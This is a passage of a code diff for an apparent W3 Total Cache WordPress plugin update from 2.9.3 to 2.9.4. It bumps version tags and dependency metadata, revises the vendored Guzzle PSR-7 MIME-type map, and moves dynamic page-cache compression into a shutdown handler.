 	 *
 	 * @param array  $data  Raw Lighthouse API payload.
 	 * @param string $group Lighthouse category group identifier.
@@ -157,7 +157,7 @@
 	/**
 	 * Format a single Lighthouse audit into the structure expected by the UI.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $audit_id Lighthouse audit identifier.
 	 * @param array  $audit    Lighthouse audit payload.
@@ -191,7 +191,7 @@
 	/**
 	 * Normalize Lighthouse audit details to a list structure.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param mixed $details Lighthouse audit details.
 	 *
@@ -219,7 +219,7 @@
 	/**
 	 * Determine which Core Web Vitals an audit influences.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $audit_id Lighthouse audit identifier.
 	 * @param array  $audit    Lighthouse audit payload.
@@ -248,7 +248,7 @@
 	/**
 	 * Normalize the network dependency tree insight payload.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $details Lighthouse network dependency tree details payload.
 	 *
@@ -283,7 +283,7 @@
 	/**
 	 * Normalize a network dependency chain node recursively.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $node Node payload.
 	 *
@@ -310,7 +310,7 @@
 	/**
 	 * Normalize preconnect insight sections.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $section Section payload from Lighthouse.
 	 *
@@ -360,7 +360,7 @@
 	/**
 	 * Provide a mapping of audit identifiers to Core Web Vital type tags.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return array
 	 */
@@ -409,7 +409,7 @@
 	/**
 	 * Normalize score values to 0-100 scale while avoiding PHP warnings when score is missing.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param mixed $score Score from the Lighthouse payload.
 	 *
@@ -426,7 +426,7 @@
 	/**
 	 * Drop metrics that Google didn't include in the latest payload.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $metrics Raw metrics bucket.
 	 *
@@ -448,7 +448,7 @@
 	/**
 	 * Attach instructions for metrics that survived the filtering step.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $pagespeed_data Prepared PageSpeed data.
 	 *
--- a/w3-total-cache/PgCache_ContentGrabber.php
+++ b/w3-total-cache/PgCache_ContentGrabber.php
@@ -110,6 +110,13 @@
 	private $_page_key_extension;

 	/**
+	 * Shutdown buffer
+	 *
+	 * @var string
+	 */
+	private $_shutdown_buffer = '';
+
+	/**
 	 * Cache reject reason
 	 *
 	 * @var string
@@ -579,20 +586,41 @@
 			}
 		}

+		// We can't capture output in ob_callback so we use shutdown function.
 		if ( $has_dynamic ) {
-			$compression = $this->_page_key_extension['compression'];
-			if ( defined( 'W3TC_PAGECACHE_OUTPUT_COMPRESSION_OFF' ) ) {
-				$compression = false;
-			}
+			$this->_shutdown_buffer = $buffer;
+
+			$buffer = '';

-			$buffer = $this->_parse_dynamic( $buffer );
-			$buffer = $this->_compress( $buffer, $compression );
+			register_shutdown_function(
+				array(
+					$this,
+					'shutdown',
+				)
+			);
 		}

 		return $buffer;
 	}

 	/**
+	 * Handles the shutdown process for compressing and outputting the page buffer.
+	 *
+	 * @return void
+	 */
+	public function shutdown() {
+		$compression = $this->_page_key_extension['compression'];
+
+		// Parse dynamic content.
+		$buffer = $this->_parse_dynamic( $this->_shutdown_buffer );
+
+		// Compress page according to headers already set.
+		$compressed_buffer = $this->_compress( $buffer, $compression );
+
+		echo $compressed_buffer; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+	}
+
+	/**
 	 * Determines if the cache can be read for the current request.
 	 *
 	 * @return bool True if cache can be read, false otherwise.
@@ -2332,7 +2360,7 @@
 			$compressions_to_store = array( false );
 		}

-		// For dynamic pages, return the unprocessed buffer so ob_callback can parse and compress it directly.
+		// Right now dont return compressed buffer if we are dynamic that will happen on shutdown after processing dynamic stuff.
 		$compression_of_returned_content = ( $has_dynamic ? false : $compression_header );

 		$headers = $this->_get_cached_headers( $response_headers['plain'] );
--- a/w3-total-cache/SetupGuide_Plugin_Admin.php
+++ b/w3-total-cache/SetupGuide_Plugin_Admin.php
@@ -924,7 +924,7 @@
 	/**
 	 * Build the SQL statements used for database cache benchmarking.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param wpdb $wpdb WordPress database object.
 	 *
@@ -944,7 +944,7 @@
 	/**
 	 * Execute a repeatable set of read-heavy queries to measure cache performance.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param wpdb $wpdb       WordPress database object.
 	 * @param array $queries    List of SQL queries to execute.
@@ -967,7 +967,7 @@
 	/**
 	 * Clear runtime caches to reduce contamination between timed runs.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -982,7 +982,7 @@
 	/**
 	 * Clear dbcache reject state for the current request so tests can evaluate with fresh context.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -1015,7 +1015,7 @@
 	/**
 	 * Collect a set of post IDs to be used when benchmarking the object cache.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return array
 	 */
@@ -1047,7 +1047,7 @@
 	/**
 	 * Run a representative workload that should benefit from a persistent object cache.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $post_ids    IDs to request in the query.
 	 * @param string $payload_key Cache key used to check persistence.
@@ -1095,7 +1095,7 @@
 	/**
 	 * Clear runtime object cache data while preserving persistent stores when possible.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return string Which flush method was used.
 	 */
--- a/w3-total-cache/Util_PageSpeed.php
+++ b/w3-total-cache/Util_PageSpeed.php
@@ -670,7 +670,7 @@
 	/**
 	 * Render the specialized Network Dependency Tree insight.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $insight       Insight payload.
 	 * @param string $notice_class  Notice classes.
@@ -736,7 +736,7 @@
 	/**
 	 * Render the network chain list recursively.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $chains Chain list.
 	 *
@@ -759,7 +759,7 @@
 	/**
 	 * Render a single network chain node.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $node Node payload.
 	 *
@@ -818,7 +818,7 @@
 	/**
 	 * Render preconnect sections.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $section      Section payload.
 	 * @param string $default_name Fallback title.
@@ -856,7 +856,7 @@
 	/**
 	 * Render a nested table cell from headings + sub-items.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $headings Table headings.
 	 * @param array $rows     Table rows.
@@ -899,7 +899,7 @@
 	/**
 	 * Format a subitem value according to the heading definition.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $heading Heading definition.
 	 * @param array $row     Row data.
@@ -949,7 +949,7 @@
 	/**
 	 * Format a source-location value into HTML.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $source Source location payload.
 	 *
@@ -979,7 +979,7 @@
 	/**
 	 * Append the document latency status icon for qualifying rows.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $audit_id Audit identifier.
 	 * @param array  $item     Detail item.
@@ -1016,7 +1016,7 @@
 	/**
 	 * Format bytes into readable strings.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param int $bytes Byte value.
 	 *
--- a/w3-total-cache/vendor/composer/installed.php
+++ b/w3-total-cache/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'boldgrid/w3-total-cache',
-        'pretty_version' => '2.9.3',
-        'version' => '2.9.3.0',
-        'reference' => '202309df72166993e350488695deaa0bc39b97e6',
+        'pretty_version' => '2.9.4',
+        'version' => '2.9.4.0',
+        'reference' => 'ca70153e80a9cf5dcff16743596abe5253d227b9',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'boldgrid/w3-total-cache' => array(
-            'pretty_version' => '2.9.3',
-            'version' => '2.9.3.0',
-            'reference' => '202309df72166993e350488695deaa0bc39b97e6',
+            'pretty_version' => '2.9.4',
+            'version' => '2.9.4.0',
+            'reference' => 'ca70153e80a9cf5dcff16743596abe5253d227b9',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -65,9 +65,9 @@
             'dev_requirement' => false,
         ),
         'guzzlehttp/psr7' => array(
-            'pretty_version' => '2.8.0',
-            'version' => '2.8.0.0',
-            'reference' => '21dc724a0583619cd1652f673303492272778051',
+            'pretty_version' => '2.9.0',
+            'version' => '2.9.0.0',
+            'reference' => '7d0ed42f28e42d61352a7a79de682e5e67fec884',
             'type' => 'library',
             'install_path' => __DIR__ . '/../guzzlehttp/psr7',
             'aliases' => array(),
@@ -164,9 +164,9 @@
             'dev_requirement' => false,
         ),
         'sebastian/comparator' => array(
-            'pretty_version' => '3.0.6',
-            'version' => '3.0.6.0',
-            'reference' => '4b3c947888c81708b20fb081bb653a2ba68f989a',
+            'pretty_version' => '3.0.7',
+            'version' => '3.0.7.0',
+            'reference' => 'bc7d8ac2fe1cce229bff9b5fd4efe65918a1ff52',
             'type' => 'library',
             'install_path' => __DIR__ . '/../sebastian/comparator',
             'aliases' => array(),
--- a/w3-total-cache/vendor/guzzlehttp/psr7/src/LimitStream.php
+++ b/w3-total-cache/vendor/guzzlehttp/psr7/src/LimitStream.php
@@ -63,9 +63,9 @@
             return null;
         } elseif ($this->limit === -1) {
             return $length - $this->offset;
-        } else {
-            return min($this->limit, $length - $this->offset);
         }
+
+        return min($this->limit, $length - $this->offset);
     }

     /**
--- a/w3-total-cache/vendor/guzzlehttp/psr7/src/MessageTrait.php
+++ b/w3-total-cache/vendor/guzzlehttp/psr7/src/MessageTrait.php
@@ -29,6 +29,9 @@
         return $this->protocol;
     }

+    /**
+     * @return static
+     */
     public function withProtocolVersion($version): MessageInterface
     {
         if ($this->protocol === $version) {
@@ -69,6 +72,9 @@
         return implode(', ', $this->getHeader($header));
     }

+    /**
+     * @return static
+     */
     public function withHeader($header, $value): MessageInterface
     {
         $this->assertHeader($header);
@@ -85,6 +91,9 @@
         return $new;
     }

+    /**
+     * @return static
+     */
     public function withAddedHeader($header, $value): MessageInterface
     {
         $this->assertHeader($header);
@@ -103,6 +112,9 @@
         return $new;
     }

+    /**
+     * @return static
+     */
     public function withoutHeader($header): MessageInterface
     {
         $normalized = strtolower($header);
@@ -128,6 +140,9 @@
         return $this->stream;
     }

+    /**
+     * @return static
+     */
     public function withBody(StreamInterface $body): MessageInterface
     {
         if ($body === $this->stream) {
--- a/w3-total-cache/vendor/guzzlehttp/psr7/src/MimeType.php
+++ b/w3-total-cache/vendor/guzzlehttp/psr7/src/MimeType.php
@@ -7,22 +7,23 @@
 final class MimeType
 {
     private const MIME_TYPES = [
+        '123' => 'application/vnd.lotus-1-2-3',
         '1km' => 'application/vnd.1000minds.decision-model+xml',
+        '210' => 'model/step',
         '3dml' => 'text/vnd.in3d.3dml',
         '3ds' => 'image/x-3ds',
         '3g2' => 'video/3gpp2',
-        '3gp' => 'video/3gp',
+        '3gp' => 'video/3gpp',
         '3gpp' => 'video/3gpp',
         '3mf' => 'model/3mf',
         '7z' => 'application/x-7z-compressed',
         '7zip' => 'application/x-7z-compressed',
-        '123' => 'application/vnd.lotus-1-2-3',
         'aab' => 'application/x-authorware-bin',
         'aac' => 'audio/aac',
         'aam' => 'application/x-authorware-map',
         'aas' => 'application/x-authorware-seg',
         'abw' => 'application/x-abiword',
-        'ac' => 'application/vnd.nokia.n-gage.ac+xml',
+        'ac' => 'application/pkix-attr-cert',
         'ac3' => 'audio/ac3',
         'acc' => 'application/vnd.americandynamics.acc',
         'ace' => 'application/x-ace-compressed',
@@ -35,7 +36,7 @@
         'afp' => 'application/vnd.ibm.modcap',
         'age' => 'application/vnd.age',
         'ahead' => 'application/vnd.ahead.space',
-        'ai' => 'application/pdf',
+        'ai' => 'application/postscript',
         'aif' => 'audio/x-aiff',
         'aifc' => 'audio/x-aiff',
         'aiff' => 'audio/x-aiff',
@@ -55,7 +56,7 @@
         'apr' => 'application/vnd.lotus-approach',
         'arc' => 'application/x-freearc',
         'arj' => 'application/x-arj',
-        'asc' => 'application/pgp-signature',
+        'asc' => 'application/pgp-keys',
         'asf' => 'video/x-ms-asf',
         'asm' => 'text/x-asm',
         'aso' => 'application/vnd.accpac.simply.aso',
@@ -66,7 +67,7 @@
         'atomdeleted' => 'application/atomdeleted+xml',
         'atomsvc' => 'application/atomsvc+xml',
         'atx' => 'application/vnd.antix.game-component',
-        'au' => 'audio/x-au',
+        'au' => 'audio/basic',
         'avci' => 'image/avci',
         'avcs' => 'image/avcs',
         'avi' => 'video/x-msvideo',
@@ -77,15 +78,18 @@
         'azv' => 'image/vnd.airzip.accelerator.azv',
         'azw' => 'application/vnd.amazon.ebook',
         'b16' => 'image/vnd.pco.b16',
+        'bary' => 'model/vnd.bary',
         'bat' => 'application/x-msdownload',
         'bcpio' => 'application/x-bcpio',
         'bdf' => 'application/x-font-bdf',
         'bdm' => 'application/vnd.syncml.dm+wbxml',
-        'bdoc' => 'application/x-bdoc',
+        'bdo' => 'application/vnd.nato.bindingdataobject+xml',
+        'bdoc' => 'application/bdoc',
         'bed' => 'application/vnd.realvnc.bed',
         'bh2' => 'application/vnd.fujitsu.oasysprs',
         'bin' => 'application/octet-stream',
         'blb' => 'application/x-blorb',
+        'blend' => 'application/x-blender',
         'blorb' => 'application/x-blorb',
         'bmi' => 'application/vnd.bmi',
         'bmml' => 'application/vnd.balsamiq.bmml+xml',
@@ -95,6 +99,8 @@
         'boz' => 'application/x-bzip2',
         'bpk' => 'application/octet-stream',
         'bpmn' => 'application/octet-stream',
+        'brush' => 'application/vnd.procreate.brush',
+        'brushset' => 'application/vnd.procreate.brushset',
         'bsp' => 'model/vnd.valve.source.compiled-map',
         'btf' => 'image/prs.btif',
         'btif' => 'image/prs.btif',
@@ -102,13 +108,13 @@
         'bz' => 'application/x-bzip',
         'bz2' => 'application/x-bzip2',
         'c' => 'text/x-c',
+        'c11amc' => 'application/vnd.cluetrust.cartomobile-config',
+        'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg',
         'c4d' => 'application/vnd.clonk.c4group',
         'c4f' => 'application/vnd.clonk.c4group',
         'c4g' => 'application/vnd.clonk.c4group',
         'c4p' => 'application/vnd.clonk.c4group',
         'c4u' => 'application/vnd.clonk.c4group',
-        'c11amc' => 'application/vnd.cluetrust.cartomobile-config',
-        'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg',
         'cab' => 'application/vnd.ms-cab-compressed',
         'caf' => 'audio/x-caf',
         'cap' => 'application/vnd.tcpdump.pcap',
@@ -132,7 +138,6 @@
         'cdmid' => 'application/cdmi-domain',
         'cdmio' => 'application/cdmi-object',
         'cdmiq' => 'application/cdmi-queue',
-        'cdr' => 'application/cdr',
         'cdx' => 'chemical/x-cdx',
         'cdxml' => 'application/vnd.chemdraw+xml',
         'cdy' => 'application/vnd.cinderella',
@@ -147,7 +152,7 @@
         'cil' => 'application/vnd.ms-artgalry',
         'cjs' => 'application/node',
         'cla' => 'application/vnd.claymore',
-        'class' => 'application/octet-stream',
+        'class' => 'application/java-vm',
         'cld' => 'model/vnd.cld',
         'clkk' => 'application/vnd.crick.clicker.keyboard',
         'clkp' => 'application/vnd.crick.clicker.palette',
@@ -194,6 +199,8 @@
         'davmount' => 'application/davmount+xml',
         'dbf' => 'application/vnd.dbf',
         'dbk' => 'application/docbook+xml',
+        'dcm' => 'application/dicom',
+        'dcmp' => 'application/vnd.dcmp+xml',
         'dcr' => 'application/x-director',
         'dcurl' => 'text/vnd.curl.dcurl',
         'dd2' => 'application/vnd.oma.dd2+xml',
@@ -221,19 +228,22 @@
         'dmp' => 'application/vnd.tcpdump.pcap',
         'dms' => 'application/octet-stream',
         'dna' => 'application/vnd.dna',
+        'dng' => 'image/x-adobe-dng',
         'doc' => 'application/msword',
-        'docm' => 'application/vnd.ms-word.template.macroEnabled.12',
+        'docm' => 'application/vnd.ms-word.document.macroenabled.12',
         'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
         'dot' => 'application/msword',
-        'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
+        'dotm' => 'application/vnd.ms-word.template.macroenabled.12',
         'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
         'dp' => 'application/vnd.osgi.dp',
         'dpg' => 'application/vnd.dpgraph',
         'dpx' => 'image/dpx',
         'dra' => 'audio/vnd.dra',
         'drle' => 'image/dicom-rle',
+        'drm' => 'application/vnd.procreate.dream',
         'dsc' => 'text/prs.lines.tag',
         'dssc' => 'application/dssc+der',
+        'dst' => 'application/octet-stream',
         'dtb' => 'application/x-dtbook+xml',
         'dtd' => 'application/xml-dtd',
         'dts' => 'audio/vnd.dts',
@@ -285,10 +295,12 @@
         'f4v' => 'video/mp4',
         'f77' => 'text/x-fortran',
         'f90' => 'text/x-fortran',
+        'facti' => 'image/vnd.blockfact.facti',
         'fbs' => 'image/vnd.fastbidsheet',
+        'fbx' => 'application/vnd.autodesk.fbx',
         'fcdt' => 'application/vnd.adobe.formscentral.fcdt',
         'fcs' => 'application/vnd.isac.fcs',
-        'fdf' => 'application/vnd.fdf',
+        'fdf' => 'application/fdf',
         'fdt' => 'application/fdt+xml',
         'fe_launch' => 'application/vnd.denovo.fcselayout-link',
         'fg5' => 'application/vnd.fujitsu.oasysgp',
@@ -330,21 +342,25 @@
         'gca' => 'application/x-gca-compressed',
         'gdl' => 'model/vnd.gdl',
         'gdoc' => 'application/vnd.google-apps.document',
+        'gdraw' => 'application/vnd.google-apps.drawing',
         'ged' => 'text/vnd.familysearch.gedcom',
         'geo' => 'application/vnd.dynageo',
         'geojson' => 'application/geo+json',
         'gex' => 'application/vnd.geometry-explorer',
+        'gform' => 'application/vnd.google-apps.form',
         'ggb' => 'application/vnd.geogebra.file',
+        'ggs' => 'application/vnd.geogebra.slides',
         'ggt' => 'application/vnd.geogebra.tool',
         'ghf' => 'application/vnd.groove-help',
         'gif' => 'image/gif',
         'gim' => 'application/vnd.groove-identity-message',
+        'gjam' => 'application/vnd.google-apps.jam',
         'glb' => 'model/gltf-binary',
         'gltf' => 'model/gltf+json',
+        'gmap' => 'application/vnd.google-apps.map',
         'gml' => 'application/gml+xml',
         'gmx' => 'application/vnd.gmx',
         'gnumeric' => 'application/x-gnumeric',
-        'gpg' => 'application/gpg-keys',
         'gph' => 'application/vnd.flographit',
         'gpx' => 'application/gpx+xml',
         'gqf' => 'application/vnd.grafeq',
@@ -354,8 +370,10 @@
         'gre' => 'application/vnd.geometry-explorer',
         'grv' => 'application/vnd.groove-injector',
         'grxml' => 'application/srgs+xml',
+        'gscript' => 'application/vnd.google-apps.script',
         'gsf' => 'application/x-font-ghostscript',
         'gsheet' => 'application/vnd.google-apps.spreadsheet',
+        'gsite' => 'application/vnd.google-apps.site',
         'gslides' => 'application/vnd.google-apps.presentation',
         'gtar' => 'application/x-gtar',
         'gtm' => 'application/vnd.groove-tool-message',
@@ -387,7 +405,6 @@
         'hpid' => 'application/vnd.hp-hpid',
         'hps' => 'application/vnd.hp-hps',
         'hqx' => 'application/mac-binhex40',
-        'hsj2' => 'image/hsj2',
         'htc' => 'text/x-component',
         'htke' => 'application/vnd.kenameaapp',
         'htm' => 'text/html',
@@ -399,7 +416,7 @@
         'icc' => 'application/vnd.iccprofile',
         'ice' => 'x-conference/x-cooltalk',
         'icm' => 'application/vnd.iccprofile',
-        'ico' => 'image/x-icon',
+        'ico' => 'image/vnd.microsoft.icon',
         'ics' => 'text/calendar',
         'ief' => 'image/ief',
         'ifb' => 'text/calendar',
@@ -414,6 +431,7 @@
         'imp' => 'application/vnd.accpac.simply.imp',
         'ims' => 'application/vnd.ms-ims',
         'in' => 'text/plain',
+        'indd' => 'application/x-indesign',
         'ini' => 'text/plain',
         'ink' => 'application/inkml+xml',
         'inkml' => 'application/inkml+xml',
@@ -421,6 +439,7 @@
         'iota' => 'application/vnd.astraea-software.iota',
         'ipfix' => 'application/ipfix',
         'ipk' => 'application/vnd.shana.informed.package',
+        'ipynb' => 'application/x-ipynb+json',
         'irm' => 'application/vnd.ibm.rights-management',
         'irp' => 'application/vnd.irepository.package+xml',
         'iso' => 'application/x-iso9660-image',
@@ -430,10 +449,13 @@
         'ivu' => 'application/vnd.immervision-ivu',
         'jad' => 'text/vnd.sun.j2me.app-descriptor',
         'jade' => 'text/jade',
+        'jaii' => 'image/jaii',
+        'jais' => 'image/jais',
         'jam' => 'application/vnd.jam',
         'jar' => 'application/java-archive',
         'jardiff' => 'application/x-java-archive-diff',
         'java' => 'text/x-java-source',
+        'jfif' => 'image/jpeg',
         'jhc' => 'image/jphc',
         'jisp' => 'application/vnd.jisp',
         'jls' => 'image/jls',
@@ -447,18 +469,19 @@
         'jpf' => 'image/jpx',
         'jpg' => 'image/jpeg',
         'jpg2' => 'image/jp2',
-        'jpgm' => 'video/jpm',
+        'jpgm' => 'image/jpm',
         'jpgv' => 'video/jpeg',
         'jph' => 'image/jph',
-        'jpm' => 'video/jpm',
+        'jpm' => 'image/jpm',
         'jpx' => 'image/jpx',
-        'js' => 'application/javascript',
+        'js' => 'text/javascript',
         'json' => 'application/json',
         'json5' => 'application/json5',
         'jsonld' => 'application/ld+json',
         'jsonml' => 'application/jsonml+json',
         'jsx' => 'text/jsx',
         'jt' => 'model/jt',
+        'jxl' => 'image/jxl',
         'jxr' => 'image/jxr',
         'jxra' => 'image/jxra',
         'jxrs' => 'image/jxrs',
@@ -468,9 +491,10 @@
         'jxss' => 'image/jxss',
         'kar' => 'audio/midi',
         'karbon' => 'application/vnd.kde.karbon',
+        'kbl' => 'application/kbl+xml',
         'kdb' => 'application/octet-stream',
         'kdbx' => 'application/x-keepass2',
-        'key' => 'application/x-iwork-keynote-sffkey',
+        'key' => 'application/vnd.apple.keynote',
         'kfo' => 'application/vnd.kde.kformula',
         'kia' => 'application/vnd.kidspiration',
         'kml' => 'application/vnd.google-earth.kml+xml',
@@ -495,7 +519,7 @@
         'les' => 'application/vnd.hhe.lesson-player',
         'less' => 'text/less',
         'lgr' => 'application/lgr+xml',
-        'lha' => 'application/octet-stream',
+        'lha' => 'application/x-lzh-compressed',
         'link66' => 'application/vnd.route66.link66+xml',
         'list' => 'text/plain',
         'list3820' => 'application/vnd.ibm.modcap',
@@ -504,6 +528,7 @@
         'lnk' => 'application/x-ms-shortcut',
         'log' => 'text/plain',
         'lostxml' => 'application/lost+xml',
+        'lottie' => 'application/zip+dotlottie',
         'lrf' => 'application/octet-stream',
         'lrm' => 'application/vnd.ms-lrm',
         'ltf' => 'application/vnd.frogans.ltf',
@@ -511,21 +536,24 @@
         'luac' => 'application/x-lua-bytecode',
         'lvp' => 'audio/vnd.lucent.voice',
         'lwp' => 'application/vnd.lotus-wordpro',
-        'lzh' => 'application/octet-stream',
+        'lzh' => 'application/x-lzh-compressed',
+        'm13' => 'application/x-msmediaview',
+        'm14' => 'application/x-msmediaview',
         'm1v' => 'video/mpeg',
+        'm21' => 'application/mp21',
         'm2a' => 'audio/mpeg',
+        'm2t' => 'video/mp2t',
+        'm2ts' => 'video/mp2t',
         'm2v' => 'video/mpeg',
         'm3a' => 'audio/mpeg',
-        'm3u' => 'text/plain',
+        'm3u' => 'audio/x-mpegurl',
         'm3u8' => 'application/vnd.apple.mpegurl',
-        'm4a' => 'audio/x-m4a',
+        'm4a' => 'audio/mp4',
+        'm4b' => 'audio/mp4',
         'm4p' => 'application/mp4',
         'm4s' => 'video/iso.segment',
-        'm4u' => 'application/vnd.mpegurl',
+        'm4u' => 'video/vnd.mpegurl',
         'm4v' => 'video/x-m4v',
-        'm13' => 'application/x-msmediaview',
-        'm14' => 'application/x-msmediaview',
-        'm21' => 'application/mp21',
         'ma' => 'application/mathematica',
         'mads' => 'application/mads+xml',
         'maei' => 'application/mmt-aei+xml',
@@ -556,6 +584,8 @@
         'mft' => 'application/rpki-manifest',
         'mgp' => 'application/vnd.osgeo.mapguide.package',
         'mgz' => 'application/vnd.proteus.magazine',
+        'mht' => 'message/rfc822',
+        'mhtml' => 'message/rfc822',
         'mid' => 'audio/midi',
         'midi' => 'audio/midi',
         'mie' => 'application/x-mie',
@@ -564,11 +594,11 @@
         'mj2' => 'video/mj2',
         'mjp2' => 'video/mj2',
         'mjs' => 'text/javascript',
-        'mk3d' => 'video/x-matroska',
-        'mka' => 'audio/x-matroska',
+        'mk3d' => 'video/matroska-3d',
+        'mka' => 'audio/matroska',
         'mkd' => 'text/x-markdown',
         'mks' => 'video/x-matroska',
-        'mkv' => 'video/x-matroska',
+        'mkv' => 'video/matroska',
         'mlp' => 'application/vnd.dolby.mlp',
         'mmd' => 'application/vnd.chipnuts.karaoke-mmd',
         'mmf' => 'application/vnd.smaf',
@@ -581,13 +611,13 @@
         'mov' => 'video/quicktime',
         'movie' => 'video/x-sgi-movie',
         'mp2' => 'audio/mpeg',
+        'mp21' => 'application/mp21',
         'mp2a' => 'audio/mpeg',
         'mp3' => 'audio/mpeg',
         'mp4' => 'video/mp4',
         'mp4a' => 'audio/mp4',
         'mp4s' => 'application/mp4',
         'mp4v' => 'video/mp4',
-        'mp21' => 'application/mp21',
         'mpc' => 'application/vnd.mophun.certificate',
         'mpd' => 'application/dash+xml',
         'mpe' => 'video/mpeg',
@@ -612,7 +642,7 @@
         'msf' => 'application/vnd.epson.msf',
         'msg' => 'application/vnd.ms-outlook',
         'msh' => 'model/mesh',
-        'msi' => 'application/x-msdownload',
+        'msi' => 'application/octet-stream',
         'msix' => 'application/msix',
         'msixbundle' => 'application/msixbundle',
         'msl' => 'application/vnd.mobius.msl',
@@ -620,7 +650,7 @@
         'msp' => 'application/octet-stream',
         'msty' => 'application/vnd.muvee.style',
         'mtl' => 'model/mtl',
-        'mts' => 'model/vnd.mts',
+        'mts' => 'video/mp2t',
         'mus' => 'application/vnd.musician',
         'musd' => 'application/mmt-usd+xml',
         'musicxml' => 'application/vnd.recordare.musicxml+xml',
@@ -639,6 +669,7 @@
         'nbp' => 'application/vnd.wolfram.player',
         'nc' => 'application/x-netcdf',
         'ncx' => 'application/x-dtbncx+xml',
+        'ndjson' => 'application/x-ndjson',
         'nfo' => 'text/x-nfo',
         'ngdat' => 'application/vnd.nokia.n-gage.data',
         'nitf' => 'application/vnd.nitf',
@@ -653,7 +684,7 @@
         'nsf' => 'application/vnd.lotus-notes',
         'nt' => 'application/n-triples',
         'ntf' => 'application/vnd.nitf',
-        'numbers' => 'application/x-iwork-numbers-sffnumbers',
+        'numbers' => 'application/vnd.apple.numbers',
         'nzb' => 'application/x-nzb',
         'oa2' => 'application/vnd.fujitsu.oasys2',
         'oa3' => 'application/vnd.fujitsu.oasys3',
@@ -678,6 +709,8 @@
         'ogv' => 'video/ogg',
         'ogx' => 'application/ogg',
         'omdoc' => 'application/omdoc+xml',
+        'one' => 'application/onenote',
+        'onea' => 'application/onenote',
         'onepkg' => 'application/onenote',
         'onetmp' => 'application/onenote',
         'onetoc' => 'application/onenote',
@@ -686,7 +719,7 @@
         'opml' => 'text/x-opml',
         'oprc' => 'application/vnd.palm',
         'opus' => 'audio/ogg',
-        'org' => 'text/x-org',
+        'org' => 'application/vnd.lotus-organizer',
         'osf' => 'application/vnd.yamaha.openscoreformat',
         'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml',
         'osm' => 'application/vnd.openstreetmap.data+xml',
@@ -704,17 +737,20 @@
         'oxps' => 'application/oxps',
         'oxt' => 'application/vnd.openofficeorg.extension',
         'p' => 'text/x-pascal',
+        'p10' => 'application/pkcs10',
+        'p12' => 'application/x-pkcs12',
+        'p21' => 'model/step',
         'p7a' => 'application/x-pkcs7-signature',
         'p7b' => 'application/x-pkcs7-certificates',
         'p7c' => 'application/pkcs7-mime',
+        'p7e' => 'application/pkcs7-mime',
         'p7m' => 'application/pkcs7-mime',
         'p7r' => 'application/x-pkcs7-certreqresp',
         'p7s' => 'application/pkcs7-signature',
         'p8' => 'application/pkcs8',
-        'p10' => 'application/x-pkcs10',
-        'p12' => 'application/x-pkcs12',
         'pac' => 'application/x-ns-proxy-autoconfig',
-        'pages' => 'application/x-iwork-pages-sffpages',
+        'pages' => 'application/vnd.apple.pages',
+        'parquet' => 'application/vnd.apache.parquet',
         'pas' => 'text/x-pascal',
         'paw' => 'application/vnd.pawaafile',
         'pbd' => 'application/vnd.powerbuilder6',
@@ -725,8 +761,8 @@
         'pclxl' => 'application/vnd.hp-pclxl',
         'pct' => 'image/x-pict',
         'pcurl' => 'application/vnd.curl.pcurl',
-        'pcx' => 'image/x-pcx',
-        'pdb' => 'application/x-pilot',
+        'pcx' => 'image/vnd.zbrush.pcx',
+        'pdb' => 'application/vnd.palm',
         'pde' => 'text/x-processing',
         'pdf' => 'application/pdf',
         'pem' => 'application/x-x509-user-cert',
@@ -737,7 +773,7 @@
         'pfx' => 'application/x-pkcs12',
         'pgm' => 'image/x-portable-graymap',
         'pgn' => 'application/x-chess-pgn',
-        'pgp' => 'application/pgp',
+        'pgp' => 'application/pgp-encrypted',
